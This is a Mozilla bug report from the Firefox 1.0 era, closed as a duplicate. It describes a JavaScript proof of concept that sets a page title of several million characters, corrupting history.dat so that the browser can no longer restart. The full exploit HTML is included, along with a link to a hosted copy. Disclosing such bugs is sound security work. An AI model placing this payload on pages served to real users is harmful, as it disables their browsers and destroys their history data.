Closed
Bug 319806
Opened 19 years ago
Closed 19 years ago
firefox cannot load after execute javascript code
Categories
(Firefox :: Bookmarks & History, defect)
Tracking
()
VERIFIED
DUPLICATE
of bug 319004
People
(Reporter: mxgxw.alpha, Unassigned)
References
()
Details
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6
We are able to prevent firefox to start, after the execution of simple javascript code.
The script try to generate a long page title, firefox continue working normally but if we close the browser it's imposibble to open it again.
Firefox loaded again only if we erase history.dat file.
Here is the proof of concept:
http://therdoggsv.net/code/xploit/xploit.html
Reproducible: Always
Steps to Reproduce:
1.Make backup of firefox data
2.Open URL described in the details
3.Close firefox
4.Open it again
Note: Javascript must be enabled.
Actual Results:
Firefox crash after open.
Expected Results:
Normal load of firefox.
This bug affects all versions of firefox 1.0.x. We are not tried firefox 1.5, but it will have same results.
This is the code that we use:
<html>
<head>
<script language="JavaScript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script>
</head>
<body onLoad="ex()">
</body>
</html>
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Comment 1•19 years ago
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*** This bug has been marked as a duplicate of 319004 ***
Status: UNCONFIRMED → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
Component: History → Bookmarks & History
QA Contact: history → bookmarks
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Description
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